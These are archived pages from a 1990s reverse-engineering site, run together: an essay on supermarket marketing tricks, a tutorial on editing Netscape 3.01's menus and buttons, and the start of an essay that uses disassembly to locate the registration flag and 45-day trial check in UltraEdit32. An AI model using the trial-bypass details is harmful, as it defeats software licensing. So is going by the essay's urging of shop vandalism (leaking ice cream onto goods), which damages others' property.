I get so much mail from this that I have altered the address, and hopefully you get a bounced mail reply,
In effect you'll get (as an attachment) what I usually get when you visit. HAve a look... you'll see that
Java script (as well as many other internet tools) can be used to gather quite a lot of information about
you.

homepage +ORC anon counter measures tools stalking enslavement


students' essays links cocktails search_forms mail_fravia+
fravia 06 May 97

http://www.instinct.org/fravia/emasnat.htm [2/7/2001 3:13:37 PM]


slaves

Back to fravia's Reality Cracking section

"Let's crack the slave-masters!" by +ORC - 13 March 1997


(With Michel's addition - 15 January 1998)
(With The Dark One's addition - 12 December 1998)
Well, the subject of this page has, as far as I know, not yet being treated on the Web... I hope to receive MANY
contributions in order to develop this in a full-fledged SECTOR of my page.
I too believe, like +ORC, that publicity has taken an insopportable place in our lifes, and that we are MADE to
consum and nothing more.
I'll therefore begin this page with a very interesting example, written (nothing less! :-) by +ORC himself (after some
exithation):

supermarket enslavement secrets

Here it is, courtesy of fravia+...

__Supermarket enslavement techniques, by +ORC, March 1997__

Ok, Fravia convinced me to publish separate without interpolating all this in my tut, coz it would have been too
heavy, even if in my opinion it is part of cracking and he may be wrong, coz nobody will read my crap if I don't mix it
with software cracking info, coz people do not want to learn to be free, and to free them we have sadly to
"circumvent" them with more or less the same techniques that our enemies use to enslave them :=)

Let's crack the very temples of the enemies of the humanity and poetry, the prisons where we are forced to buy and
consume... let's show all idiots the WHIPS that are used to enslave them... as always light comes through knowledge
Remeber that NOTHING is casual in this awful society where people are CULTIVATED to consume and nothing
else than that. Around you almost everything has a "secret" meaning, that you are not supposed to see, understand or
crack (see the codebar example in my C1 lesson, which is my best contribution so far to this cause :=) Knowledge is
real power... it's not just a phrase! And Internet gives us (at least until now) the possibility to spread knowledge. They
spread shit ads, useless information and publicity, we spread "real" knowledge... we'll win

Let's begin with some simple basic counter-intelligence work... You'll never watch your mall or supermarkt with the
same eyes after having read this

The entrance is on the right, yet you walk left, duh In all modern supermarket the slave MUST follow a
counterclockwise direction: 95% of the population of the world has a slight imperfected equilibrium, they tend to the
left... if you leave somebody alone lost in the desert (don't do it :=) he'll begin tu turn round counterclockwise. That's
the reason ALL modern supermarket have a "counterclockwise" layout... which btw has other consequences and
hidden meanings, as you will see in the following

Why do they start with fresh fruit?


Reason Number 1: People coming inside a supermarket tend to conserve the velocity and the inertia of the streets...
they would "jump" the first 10 meters of merchandises if you did not stop them with the explosion of colours and

http://www.instinct.org/fravia/slaves.htm (1 of 6) [2/7/2001 3:13:41 PM]


slaves

smells that only fresh fruit can offer.


Reason number 2: The supermarket are subjected to the strong concurrence of the "discount" malls ("poor people"
supermarkts, the ones with ugly boxes and cheaper prices), which do not have fresh fruit, but (mostly) only
conserves... first thing when he comes in: the slave must be assured, palping a red nice apple, that he is in an
"exquisite" special frish shop.

Note that the disposition of the fruit and vegetables is NOT casual (far from it). The whole point in supermarket
enslavement is that the very few thing that are really useful and must be bought are overwhelmed and interpolated
with completely useless products and/or with much more expensive varieties and qualities, because of the huge profits
on those articles and of the smaller profits on basic products.

Light dances in your eyes, sounds enter your hears


Orange and apples with a lot of mirrors, Bananes and pears with a green surrounding, salats and potatos with clear
light... red for meat (coz white light would make grey) and so on... have a look at the illumination tricks in your mall
next time you are compelled to go in.
Note also that the quiet music is necessary: the supermarkt would seem "dead" without it, but it must not be too
heavy... and it changes too... they know exactly at which time of the day seniores and at which time youngsters slaves
go consuming inside, you'll have therefore music which is "calibrated" on the time of the day.

Expensive is easy, cheap is difficult


Producte are so positionated that the expensive ones are ALWAYS "towards" the march direction of the slave and at
the best height to be picked up. The cheaper varities of the same articles are always "behind" the march direction of
the slave, and/or a little too low or a little to high.
Now stop and have a look at the varieties of a given product, say whisky, or honey (not wodka, it's not necessary, you
should always and only drink Moskowskaja :=)
Humans (euroamericans) stroll with the eyes from left to right (like you are doing now, reading my lines), therefore
notice how the CHEAPEST varities of a given product are on the left, the more expensive on the right, in the hope
that slave's hands will be quicker as slave's brain (as it's often the case nowadays).

Funny, the fridges open all in a weird sense


Yeah, the doors are made in order to enforce the slave to see immediately other products as soon as he closes one.
Note the disposition of the products inside the ice-boxes on the floor, too... it's far from casual as you can see... notice
how far away are those products and how easy to pick up are these? Goddy! I believe we should drive school classes
through the malls explaining all these tricks to the little future slaves!

May I NOT help you?


You'll NEVER hear a supermarket employee asking you "may I help you" in normal cases (unless you really and
badly need it and you chase him), because that would limit the possibility of you buying a lotta other useless products
instead of what you need, it would break the "magic", and in that dreaded case the slave could even come to the nasty
idea to lower the blick on the trolley, instead of filling it -overwhelmed by soo muuuch choice- with everything he
sees.
Besides the employees are really busy "filling" the spaces... it's very important that the products are positionated at a
predetermined distance... too many people on to narrow space and some slaves would "put back" the product they
have in their hands, instead of deposing it in the trolley...

What are stoppers?


Stoppers are the "dynamic" part of a supermarket... most of the slaves come here twice in a week (at least) and do not
want to see always the same things in the same places (they could come to the -right- conclusion that they are being
drilled to buy) even if they at the same time want to be reassured... "I know where's the wine". Everything must stay
where it was, but a part must move... hence the stoppers, little mountains of "offers", toilet paper to-day, shampoos
to-morrow.

http://www.instinct.org/fravia/slaves.htm (2 of 6) [2/7/2001 3:13:41 PM]


slaves

Cry baby cry There are queues at the cashier, and that's the right moment to bite the slave's kids, which are terribly
annojed and exige the products that have been purposely put on the two sides of the cashier queue. Watch them, look
at their prices... very very interesting this is really the "lower instinct" part: All these articles are chosen and
calculated to give maximum profit, all products you would NEVER in your life come to buy but here, coz this is the
only real (compelled) "canyon" that the slave must cross... "Dad, may I have this and that?". "Why shouldn't I buy
those nice mints?"
Notice how these products are MUCH more expensive than the "three for one" confections of the same product that
are sold inside the shop somewhere... but where? You will not know, coz that's exactly the sort of products you
normally don't buy! How many time do I have to prove it to you
Teach your kid to use the waiting time to completely upset the order of these products, or do it yourself. These shelfs
can also be very useful to dump all useless products that you did buy without noticing ever after having read this...
best of all is to dump there a couple of frozen icecreams boxes upside down, they will slowly leak everything on so
artfully positioned peppermints :=)

D'you want our "superadvantage" nice plastic card?


No! No! No! It's only a cheap, dirty trick to gather all possible data on your comportament whithout ever having to
raise a finger. They'll know how much and when and where you drink/shit/eat/ love/cry/wash/sleep/etc and stuff their
databases for free (notice how the "discounts" are lilliputian in comparison with what they steal you through the
abovementioned tricks... did you know that 35% of the fridge products you buy will go directly from fridge to
dustbin? That's the real average, duh)

So let's battle against them! Codebar! Understand! Explain others! Free the stupid slaves... watch the world around
you free from petty convention and understand in what for an awful mess you are condemned to live!

+ORC, the old red cracker... (I'm not finished yet, there's more to come!)
An addition, by Michel (slightly edited by fravia+):

- Why do they start with fresh fruit? (addendum)


Fresh fruits are fragile. If you put them in the bottom of your
caddy and then lay heavy conserves on it, it will be a mess...
So you have to begin with the conserves (near the exit), then
have to go back to the fruits, then return once more towards the exit.
Result : you cross shelves three times instead of one !

- The entrance is left


The "counterclockwise" turning is due to the fact that the right leg
is usually stronger... the 90% of the population is right-handed (or
"right-legged" in this case ?). So it is normal to turn slightly to
the left.

Funny, but some shops seem to experiment the opposite: a big european
furniture shop (IKEA) has choosen for some of its shops (in France for
instance, yet not elsewhere) a "clockwise direction" layout.
The idea is probably that in this way you will browse through these
shops more slowly, instead of choosing the "optimum" -quicker- trajectory.

- "Hypermarket"
I don't know if this concept exists in english. In french (my native

http://www.instinct.org/fravia/slaves.htm (3 of 6) [2/7/2001 3:13:41 PM]


slaves

language, as you probably have already guessed), it means a big supermarket


which sells not only food: also clothing, tools, and so on.
In these "hypermarkets", things are in part different from the supermarkets:
they have plenty of room, so they can mix the food and the non-food (one
shelf of food, and one shelf of non-food). So when you have taken -say-
your usual vodka and you want to get your peanuts, you *will* pass through
the shelf where they sell those magnificents-and-yet-not-so- expensive beer
glasses...
Moreover at the beginning of the shop there is always a "starter", with all
the current "discounts", and usually also clothes, wine and other completely
useless gadgets...

- Men and women (non P.C. section ;-)


Usually, women are going to the supermarket. That's why in the
"hypermarkets" (see above), the clothing is always between the entry
and the food.
But in the last 15 years, with women working more and more, men have
begun to go shopping, instead of their wives. Result: in the commercials,
on your TV you are now brainwashed about "men taking care of themselves",
and instead of the good old "AQUA VELVA" and "Eau de Cologne 4711", which
were more or less the only things you would have bought (if ever) in the
pre-enslavement old good times you now have an icredible plethora of
'parfums pour homme' (note the form of parfums' bottles, btw, which
as usual has a pavlovian meaning); and not only parfums: have a look: shampoo
"formule homme", Gilette Sensor-Excel-Plus-Double-..., and so on!
They realized they have a lot of new potential gullible slaves, and they
found an easy way to get'em... it's easy to foresee: parfums for kids (already
started with totthpaste) and for dogs and cats...

- Generalization: slave's surroundings


These concepts are true for the supermarkets. These last 10 years
in Europa, it has generalized (an idea coming from US, as it is older
there) to what we call "commercial center": a supermarket is never
alone, you always have other shops around: jewelry, hi-fi shop,
CD/Video shop, deluxe clothing, fashion clothing, low-price clothing,
even cinemas (in english "theaters" ?), *and* the obligatory Quick or
McDonald...

Ok, that's all. Thanks for reading ;-) Complete informations on the
subject must exist somewhere, at least in marketing courses, or
perhaps in psychology, I don't know. Anyway, it's always good
stuff to know.

Bye,
Michel

An addition, by The Dark One (slightly edited by fravia+):


As for small additions i'd like to make to two essays...

1. There is +ORC's essay about supermarkets and how they enslave you, which mentions the counterclockwise effect.

http://www.instinct.org/fravia/slaves.htm (4 of 6) [2/7/2001 3:13:41 PM]


slaves

I for myself have a small side job in a pathetic attempt to get more money to cover my ever growing expenses, and
can add to this.

One time in this sports store, I was told to adjust all the lamps on the floor i was working on. Naturally, when i was
told to give them a little tilt to the left while still illuminating the products (make everything look nice and shiny and
all that), I had to ask why that would have any effect. The story behind it was the same counterclockwise effect, but
added to that the fact that when the lamps are tilted that way, it will invite the customer to keep a certain direction.
walking in normally and taking the counterclockwise route, the customer will see light shining on the clothing,
walking clockwise, he will have light shining somewhat in his eyes... at least in his view of vision. Therefore, what
will happen is that 'the herd' will take the signals in his visual range and most likely amble through the store
counterclockwise, and end up in front of the cash register, or at least not disturb other customers as they browse by
moving in an opposing direction. To mention another aspect of 'herd behaviour', people like to 'follow the leader', and
when they see people in front of them moving through the whole store, instinctively they will follow, thinking 'there
must be a reason people look through it'.

Another thing perhaps is the way you are supposed to approach customers. Unlike what's reported by +ORC in his
supermarket essay, in a store like mine you are naturally deeply instructed to 'press' the customer on whether you can
help him or her. But you don't ask 'can I help you'.
Why not? This immediately implies that you are granting favours, that you are in a 'master' position vis-a-vis the
customer. You are supposed to ask the customer 'can I be of service?', or similar questions along the same 'Aladdin's
lamp' line, obviously giving the customer a false sense of having the upper hand in the conversation, as well as the
customer/seller relationship.
Then the whole verbal selling technique starts, but I guess that is beyond the interest of this topic. There are a lot more
things to say about standing in the kind of store I am in, but I am not sure whether this is relevant to the discussion at
hand, let alone whether it is of major interest.

I'll quickly mention a few short things I know from other stores, such as the fact that the music you hear in stores is
naturally always programmed. In one of the stores where a colleague of mine once worked they even had a rythm
added to it, in the sense of numbers being played. There would be four 15 minute parts of music, especially set to be
sort of a subliminal inducer for customers entering at the right time. The first part would be sort of a welcoming
theme, followed by restful lingering, after which you would get a bit jazzed up by faster music until the last 15
minutes 'invited' you more or less franticly to leave the store again. Most stores work with customer counts in order to
program store success, where the more customers that have visited without buying something, the lower the per
customer buying amount will be. Another interesting point which clarifies obviously why stores usually try to herd
you out after a certain time; every customer around you that doesn't buy anything affects other customers (if they
don't buy anything, then why should I? this is obviously crap, and so on). Lastly, I've heard also from another
colleague (it's amazing what you can learn if you are willing to infiltrate and search, that's what real social
engineering for real reversers should be about, btw) that in the place she worked in before this one, they worked on
'sniffing posts'!
What they had done was place on several locations a couple of hidden 'deodorisers' (for lack of a better word), which
would dispense fragrances that would complement the feeling you should have with certain products. From what I've
gathered, back then it wasn't so successful, but they are most probably still working on it; if you smell funny stuff in a
huge store, you know where it comes from. So, if you do, don't just sit there and say 'Ah ja': Investigate, find the truth,
report it.

Thinking about that, I do remember seeing all kinds of spray cans lately in that line of product enhancement. There
are cans that I have held in my hand that have the 'fresh bakery smell', which can make you think you're in a bakery
from heaven, and everyone knows by now the 'new car' spraycan that is supposed to add that new smell to your car,
the smell that you only get when you first buy it. Needless to say, fooling people means fooling the mind, and fooling
the mind is done for a large part by fooling the senses. Basically it is so that consumers are treated like an heard of
stupid cows, that must be lured into buying things they don't need in the least for the sake of filling some wallets.

http://www.instinct.org/fravia/slaves.htm (5 of 6) [2/7/2001 3:13:41 PM]


slaves

2. An observation on the cigarette ads. In our country (The Netherlands), if I remember correctly, the European
Union's directives sort of restrict cigarette companies to blatantly advertise their product. Since I do not either buy
cigarettes or search for these ads, I do not know for sure how those restrictions lie, or how much they are enforced.
What I do see right now in advertisements shown in cinema's and on billboards is the rather funny shift of
'advertising'.

Suddenly, the art of sponsering is discovered, and all these 'events' pop up with sigarette brands attached to them. This
ranges from the 'marlboro flashbacks' (bands covering a favorite group) to 'barclay's fashion awards', and not to forget
the 'drum rythm festival' (drum being the stuff that you roll before you smoke). Now that they are not allowed to
advertise openly neither with 'cowboy scenes' (see Martine Joly's splendid essay: Rhetoric of advertisement, a
"Marlboro Classic" Advertisement analyzed) nor stuff like that, they get name recognition by sponsoring these events,
and naturally make connections with the show involved. Of course, the same is being done with beers to some extent,
but cigarettes right now are the leading players in this game.

With kindest regards,

The Dark One


And yes, by all means: let's hope that this dutch cute reverser will indeed "spend some quality time behind his
computer once he'll be free from his sleep deprivation and current stress levels", to cite him :-)

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to fravia's Reality Cracking section

homepage links anonymity +ORC students' essays javascript wars academy database
antismut tools cocktails search_forms how to search antismut CGI cracking mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/slaves.htm (6 of 6) [2/7/2001 3:13:41 PM]


mammop5

Customizing Netscape's buttons and menus


(Resource editing galore)

by Mammon_

(20 September 1997)

Courtesy of fravia's page of reverse engineering

Well, this is a VERY interesting essay from Mammon_. I noticed part of this work on Mammon_'s own and very good
page more than four week ago, and I'm happy to see that he sent a nice ameliorated essay to the +HCU. As you'll read in
Mammon_'s essay, there is a lot of resource editing going on, so let's clear these things out a little.

I "presented" myself the BRW resource editor to the scene some time ago with my ultraedit essay, many knew this stuff
already, yet many other did not, and anyone can see that resource editors are now much more used than a year ago :-).

There are on this planet (to my knowledge) following main resource editors:
WRT = Whitewater Resource Toolkit for Windows 3.1, A very good tool, greeted as "Wizard stab" when it appeared,
father of all the following ones. Whitewater has been BOUGHT by Symantec in order to get this extraordinary 16-bit
project

BRW = Borland Resource Workshop, last version 4.5 shipped with Borland C++ 4,5 (you can have it now once more for
less than 4 UK pounds on the next new October 1997 issue of PcPLUS, a UK computer magazine, see my blackboard)
This resourec editor is still the best one IMO. Borland seems to have kept rights on WRT until 1994/5

SRS = Symantec Resource Studio 32, Version 1.0, (c) 1995, nice graphic and frills, works not as good as BRW. This is
the Whitewater product without the knowledge of the Wizards at Borland, "restyled" and "updated" to 32 bit by the
average programmers at Symantec.

WRE = Watcom resource Editor for Windows NT, versioN 11.0. A good resource editor, yet not as good as Borland's
BRW 4.5. WRE.EXE is only 174.592, but it needs a lot of other "parts" and *.dlls to work

I am awaiting your contributions on these matters. As soon as enough material arrives, we'll move the above introduction
to a special +HCU's section (Hackmore, are you reading this?)...

And now enjoy this very interesting essay: I always hated those stupid useless "Directory Buttons" in Navigator :-)

More Work On Project5


by Mammon_
Target File: Netscape.exe version 3.01 Gold, 3.02 MB (42.4 MB Decompiled "dead listing")
It is now, as I write, 1997. The Internet has become a combination library, software warehouse, and television: more than
ever before, a cracker's Web Browser is as vital as his debugger, his disassembler, even his hex editor. It is necessary,
then, to trim these browsers so they do not hinder our progress, and to tailor them to a style that suits us. ACP and
+YOSHi have both done well with Netscape Navigator's windowing annoyances; I will here demonstrate how to
customise the application's user interface.

http://www.instinct.org/fravia/mammop5.htm (1 of 6) [2/7/2001 3:13:45 PM]


mammop5

1. The Location Bar


The best way to start out is with a string data search, as our targets are going to be menus and buttons. As I was planning
to do some extra work in the .exe, I opened up Netscape in W32Dasm and got coffee while it was disassembling. I
exported the String Data Reference list into WordPad (Notepad being, alas, not up to the task) and did a quick search for
"http://", finding the string values relating to the items we will be changing along (e.g.,
"http://guide.netscape.com/guide/what'snew.html"). For the record, I found a number of strings using BRW that were not
in the W32Dasm disassembly.
Here is where it gets interesting: I was scrolling through the string data listing, waiting for my eyes to glaze over, when I
cam across a command I knew--"about:global", which when typed in the location bar causes the Netscape.hst file to be
dumped onscreen. The first thought that flashed through my mind was "Undocumented commands!", and after many
minutes of sifting through meaningless strings I came up with the following list of location-bar commands:

about:xxxx xxxx text appears on blank page (1.43K limit)


about: Displays the Netscape "About Box"
about:blank Displays a blank page
about:cache Dumps the contents of the URL cache
about:document The same as View->Document Info
about:editfilenew Opens a blank document called file:///Untitiled
about:global Shows the URL history from the Netscape.hst file
about:image-cache Dumps the contents of the image cache
about:license Displays the Netscape product license (snore)
about:memory-cache Displays the contents of the memory cache
about:plugins Displays stats on all of the plug-ins
File:/// Opens a file in the browser; .,.., drive letter are all valid
Javascript: Opens a Javascript console (OK, we knew this one...)
Mailto: Opens the send-mail dialogue box (OK, we knew this one too)
view-source: Same as View->Document Source
It gets even better. First of all, remember that these go in the location bar, and therefore one can place them in the href=
parameter of an tag --instantly, lots of new web-page tricks. I experimented a bit with the about: command and quickly
learned that anything you type after "about:" will show up on a blank document. I typed "about:When in danger or in
doubt, run in circles, scream and shout." There it was, in black, on a black page.
So I experimented some more, typing "about:<center>When in <font color="ff0000">danger</font> or in doubt, <P> Run
in circles, scream and shout. </center>", and sure enough it appeared in its full HTML-formatted glory. As good as
document.writeln() without javascript!
Of course the next thing I tried was dumping the entire source code of my tools page (after changing the double quotes to
singles, and vice versa) into the href= parameter of an tag that read, originally enough, TEST. I clicked it and a new page
loaded with maybe a tenth of my tools page displayed (due, of course, to the limitation of a Windows edit
control...effectively, the location bar can take up to a 1.43K text file, as I found by testing).
Now what are we left with? An undocumented "document.writeln()"-ish feature that allows you to enter up to 1400
characters of HTML code (sans <HTML> and <BODY> tags) directly from an <a> tag! And who says Netscape has no
surprises.....

2. The Buttons
The first thing to change in our target is going to be the buttons --you know the ones, those useless "Directory Buttons"
that you always turn off (Options/ Show directory buttons) because they have horrible titles (and contents) like "What's
New", "What's Cool", and "People". If you look in BRW you will find the labels for those buttons, and the URLs that

http://www.instinct.org/fravia/mammop5.htm (2 of 6) [2/7/2001 3:13:45 PM]


mammop5

match them, inside strings 621-635. Needless to say, you can edit the strings to reflect your six most-visited web pages. I
chose to remap them as follows:
621 (What's New): from ...whats-new.html to http://207.30.50.126/fravia (New Title: +HCU)

622 (What's Cool): from ...whats-cool.html to http://kryten.eng.monash.edu.au/gspamt.html (New Title: Net Tools)

623 (Destinations): from ...index.html to http://www.hotmail.com (New Title: HotMail)

624 (Net Search): from ...search.html to http://cuiwww.unige.ch/eao/www/Internet/Nedashkovsky.html (New Title:


Search Engines)
625 (People): from ...white-pages.html to http://www.anonymizer.com/open.html (New Title: Anonymizer)

626 (Software): from ...upgrades.html to about: <applet codebase="file:///F|/Jdk/" code="AppletKiller.class" width=100


height=100>Applet Killer</applet> (New Title: Applet Killer)
Notice this last one: an application of the above principle, basically a one-line web page that calls the compiled
AppletKiller.class (watch it, this thing makes your system very unstable) from the hard-drive. The rest of them are pretty
standard, your typical useful web pages...

3. The Menus
But we are not done yet; there are still a couple of useless menus lurking around here (Look at your Netscape window:
"Directories" once again and also "Help", both of which use URLs to define their actions)...you'll find their strings
between 65000-65399, though I would suggest editing only the URLs and changing the menus directly by editing the
Menu2 resource through BRW. The menus originally look as follows:
Directory:
"Netscape's Home" http://homenetscape.com

"What's New" http://guide.netscape.com/guide/what'snew.html

"Whats Cool" http://guide.netscape.com/guide/what'scool.html

<SEPARATOR>

"Customer Showcase" http://home.netscape.com/home/netscape-galleria.html

"Netscape Destinations" http://netscape.yahoo.com/guide

"Internet Search" http://home.netscape.com/escapes/search/ntsrchrnd-2.html

"People" http://guide.netscape.com/guide/people.html

"About the Internet" http://home.netscape.com/home/about-the-internet.html

Help:
"About Netscape" about: ;Note the use of the about: tag!

"About plugins" about:plugins

"Registration" Information http://home.netscape.com/netcenter/prodreg/start.html

"Software" http://home.netscape.com/comprod/upgrades/index.html

"Web Page Starter" http://home.netscape.com/home/starter.html

<SEPARATOR>

"Handbook" http://home.netscape.com/eng/mozilla/3.0/handbook

"Release Notes" http://home.netscape.com/eng/mozilla/3.0/relnotes/windows-3.0Gold.html

"Frequently Asked Questions" http://help.netscape.com/faqs.html

"On Security" http://home.netscape.com/info/security-doc.html

<SEPARATOR>

"How to Give Feedback" http://cgi.netscape.com/cgi-bin/autobug.cgi

http://www.instinct.org/fravia/mammop5.htm (3 of 6) [2/7/2001 3:13:45 PM]


mammop5

"How to Get Support" http://help.netscape.com


"How to Create Web Services" http://http://home.netscape.com/home/how-to-create-web-services.html
These will never do. I opted to keep the layout of the separators, though by all means I could have added or removed a
few, and went with the following layout:
Cracking:
Mammon_ (Home) I'll avoid the obvious free plug :)

Mammon_ (Links)

Mammon_ (Tools)

<SEPARATOR>

Fravia http://207.30.50.126/fravia/

Greythorne http://www.cracking.net/gthorne/

Hacker's Layer http://www.lordsomer.com/

L0pht http://www3.l0pht.com/

Silicon Toad http://www.silitoad.org/

Resources:
AngelFire http://www.angelfire.com

FortuneCity http://www.fortunecity.com

Geocities http://www.geocities.com

Send Fax http://www-usa.tpc.int/sendfax.html

Supernews http://supernews.com

<SEPARATOR>

FTP Search http://ftpsearch.ntnu.no/ftpsearch/

SwiftSearch file:///C|/Tools/SwiftSearch/SwiftSearch.exe

NetInfo file:///C|/Tools/NetInfo.exe

JPadPro file:///F|/Jdk/JPadPro/JPadPro.exe

<SEPARATOR>

Webside Story http://www.hitbox.com/wc/MAKElists/Top100HackingPhreaking.html

HTML Reference http://sdcc8.ucsd.edu/~m1wilson/htmlref.html

Javascript Reference http://home.netscape.com/eng/mozilla/3.0/handbook/javascript/index.html

Ah, much better. Once more now, theory into practice, by using the file:/// tags to access files on my hard drive. To get
this to work right, you have to set the Netscape action for ".exe" to "Launch this application:" with the application field
left blank. This will give you a SaveAs... box when you click on one of the "file:///" menu items (i.e., NetInfo); if you
press OK, the .exe will save, and if you press CANCEL, the .exe will run (we could disable the box, but then you could
never save .exe's that you downloaded...).
To top it all off, I shuffled around the main items in Menu2 so that my menu bar now reads
File...Edit...View...Go...Cracking...Resources...Bookmarks...Options...Window: perfecto! Now you just need to change the
title bar to Crackscape....

4. Notes about the Registry


The obvious place to look for the URLs linked to each button and menu item would have been the Registry, and this was
in fact the first place I checked. As shown above, however, the string values are hard-coded in the executable itself.

http://www.instinct.org/fravia/mammop5.htm (4 of 6) [2/7/2001 3:13:45 PM]


mammop5

Netscape does keep a number of interesting values in the Registry, all of them in

HKey_Current_User\Software\Netscape\Navigator
(the HKey_Local_Machine\SOFTWARE key simply stores the version number of the program), which has the following
subkeys:
Address Book (where it is located)

Automation Protocols

Automation Shutdown

Automation Startup

Automation Viewers

Bookmark List (where it is stored)

Bookmark Window (schematics)

Cache (where it is stored)

Compose Window (schematics)

Cookies (where they are stored)

Default Plugin (name)

Editor (preferences)

History (URLs that drop down from Location Bar)

Images (settings)

INTL (settings)

Java (on or off)

Mail (settings/account info)

Mail Window (schematics)

Main (preferences)

Main Window (schematics)

Network (preferences)

News (preferences)

News Window (schematics)

Page Setup (schematics)

Proxy Information (proxy servers/IPs)

Publish (settings/account info)

Security (settings)

Services (servers for POP3, etc)

Settings (preferences)

Suffixes (file extensions)

Temporary File URL Resolution (file location)

Tool Bar (settings)

User (identity from Mail/News prefs)

User Trusted External Applications (file loactions)

Viewers (file locations)

It is generally a good idea to locate things like URL history and Cache in a temp directory that gets deleted at bootup;
these files will all re-create themselves. Cookies.txt, however, cannot be replaced with a nonexistent file; the last time I
tried that I went to microsoft.com to test it and my computer GPF'd so hard that soft-ice only showed a column of

http://www.instinct.org/fravia/mammop5.htm (5 of 6) [2/7/2001 3:13:45 PM]


mammop5

"FFFFFF: INVALID" opcodes when I tried to pull out of it....

There's not much to sum up in this essay, unless it is to point out how simple it is to customise these programs with a good
resource editor. Strings are by all means a good starting point in reverse-engineering or cracking a program; if you follow
any one of the "http:" strings through W32Dasm, you'll find that the first or second call following, leads to the "URL
Parsing" routine, an interesting routine which is referenced by about a hundred different lines of code.
As a note of interest, I did the work on this project twice, once with BRW, once with Symantec Resource Studio; both
were equal until I juggled the menus, which then did NOT link to the URLs in the Symantec version. This is not to put
down Resource Studio as an editor: in fact, it allows me to edit at least some of explorer.exe while BRW flat-out crashes.
But it is more food for thought; some day we may have to "repair" these tools....
Mammon_
(c) Mammon_ 1997. All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Project 5 ("Netscape reversing")

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/mammop5.htm (6 of 6) [2/7/2001 3:13:46 PM]


ultrae2

An interesting tool: BRW(32-bit reverse engineering)

by Fravia+, MSRE, May 1997

Courtesy of fravia's page of reverse engineering

You should use Courier New 8 in order to view and print correctly this essay

What's all about


In this short essay I will show you how quickly you can individuate
(and eventually crack) a protection scheme, or any other feature of a
Windows 32 bit program using BRW, Borland Resource Workshop, a mighty
tool.

The target: UEDIT32.EXE 560.640 13/02/96


As "target" I have chosen for this essay a relatively "old" version
of Ultraedit32, By Ian Mead: Version 3.10a, from 1996. Should be easy
to find through the archies. Ultraedit is a fairly accettable Text editor,
which has also hex mode editing, unix text mode conversion and other
useful utilities. I'm not pirating anything at all of course: I have
used the program (in order to crack it) only one day out of the 45
allowed and have since deleted it from my hard disk, since I did not
found it worth 30 dollars (I prefer other -much more old and much more
powerful- programs for editing files).
BTW I may add that on my computer you would not find a single pirated
copy of software: there is no need for this! First of all I have a job,
therefore if I really like and find really useful a program (which happens
very seldom) I can afford to buy it, as I did with wdasm for instance,
secondly, when I need something, I simply and quickly fetch the last version
of it ftpmailed from the web (why download when you can ftpmail?).
I crack the eventual protection, of course, and yet I use the program mostly
for less days than the allowed time (because usually this is more than enough
to get already to the date of release of the next version :-)

The protection scheme


This program has an annoying "delayed" nagscreen at the beginning, a
registration option of the usual name-code comparison algorithm and a
"Cinderella" type of protection, set at 45 days.

How we could have cracked it


Obviously we could have easily and quickly cracked the nagscreen
using +ORC's dead listing technique:

:004010E4 833D0CE0450000 cmp dword ptr [0045E00C], 0 ;check if flagged


:004010EB 7466 je 00401153 ;0=not registered
:004010ED 6A09 push 9 ;"This copy of UltraEdit-32 is licensed to"
...

http://www.instinct.org/fravia/ultrae2.htm (1 of 4) [2/7/2001 3:13:49 PM]


ultrae2

...
:00401153 6A08 push 8 ;"This is an unregistered copy of UltraEdit"
...

And we would also have quickly found the Cinderella protection as well,
using the same method:

:00401E60 83F82D cmp eax, 0000002D ;0x2D = 45 :-)


:00401E63 7EA5 jle 00401E0A ;not yet 45, continue
:00401E65 E8E4F5FFFF call 0040144E ;check if registered
:00401E6A 833D0CE0450000 cmp dword ptr [0045E00C], 0 ;check if flagged
:00401E71 757F jne 00401EF2 ;it's a registered user!
:00401E73 6830200000 push 00002030 ;it's a luser, therefore
:00401E78 682CE14600 push 0046E12C ;"45 Day Evaluation time has expired"

BTW, I checked the more recent 4.3 version of Ultraedit: the protection
scheme is the same crap (lazy programmers):
cmp 47500C,0 ;holy flag
jne 004023E3 ;nagscreen
and
cmp eax, 0000002D ;0x2D = 45 :-)

The aim of this script


But the aim of this essay is not to crack such a banale protection, but
to teach you how to use ANOTHER powerful reverse engineering tool, very
useful for windows programs disassembly: the "magical" BORLAND
RESOURCE WORKSHOP.
I believe that a short digression about this tool is very well worth it:
The Whitewater Resource Toolkit, that came with Borland C++ 4, was a
phantastic tool for windows (16 bit) 3.1 disassembling already, as all real
crackers know. Alas, the development died! In 1994 appeared the last known
version of it, ported to 32 bit and in the mean time called "Borland Resources
Workshop" (Version 4,5 for Borland C++ 4,5, the one you should fetch).

It's a sad world


Unfortunately this tool was TOO powerful and too good, so they of course
simply killed it. Whitewater was on this purpose, bought by Symantec (Peter Norton)
and the product was no more commercialized. Version 4,5 (GET IT!) is the last one
I could find on the net, probably Borland had in 1994 still some rights on its
code and was able to publish it, alas for the last time.
It's a weird world, isn't it? Awful stupid and useless programs are updated
every two months and this real (and very powerful) Juwel has been purposedly
killed!
That does not wonder me: as we very well know, they do not wont people to
UNDERSTAND how a program works, they want only stupid morons that use their
(bugged and poor) applications without questioning, understanding or ameliorating
them.

Power at your fingers


Ok, fetch BRW.zip, it's a zipped 2,5 megabytes file, if you did not buy it (like
I did short after this essay: it appeared with THE COMPLETE Borland C++ 4,5, on
the CD-ROM of PCPlus n.38, a UK Computer magazine, August 1997 edition) anyway I
had it already, thanks to a good miner friend of mine, and now anyway it's vastly
available on the web.

http://www.instinct.org/fravia/ultrae2.htm (2 of 4) [2/7/2001 3:13:49 PM]


ultrae2

This are BRW commands:


** New Project: Ultraedit exe
** Dialog 110: (you see it's 110, because it APPEARS in the right window when
you click 110, but)

And this is the immediate answer from my beloved BRW:

110 DIALOG 100, 70, 210, 163


STYLE DS_MODALFRAME | WS_POPUP
FONT 8, "MS Sans Serif"
{
CONTROL "This is an unregistered copy of UltraEdit-32. Use of this program should
be on a temporary basis (45 Days max) for evaluation purposes only. If this program
is to be used for purposes other than evaluation please register this program.", -1,
"STATIC", SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 34, 18, 151, 55
CONTROL "Details for registration can be found in the READ.ME file and in the
'About' dialog box on the help menu.", 128, "STATIC", SS_LEFT | WS_CHILD | WS_VISIBLE
| WS_GROUP, 35, 76, 151, 35
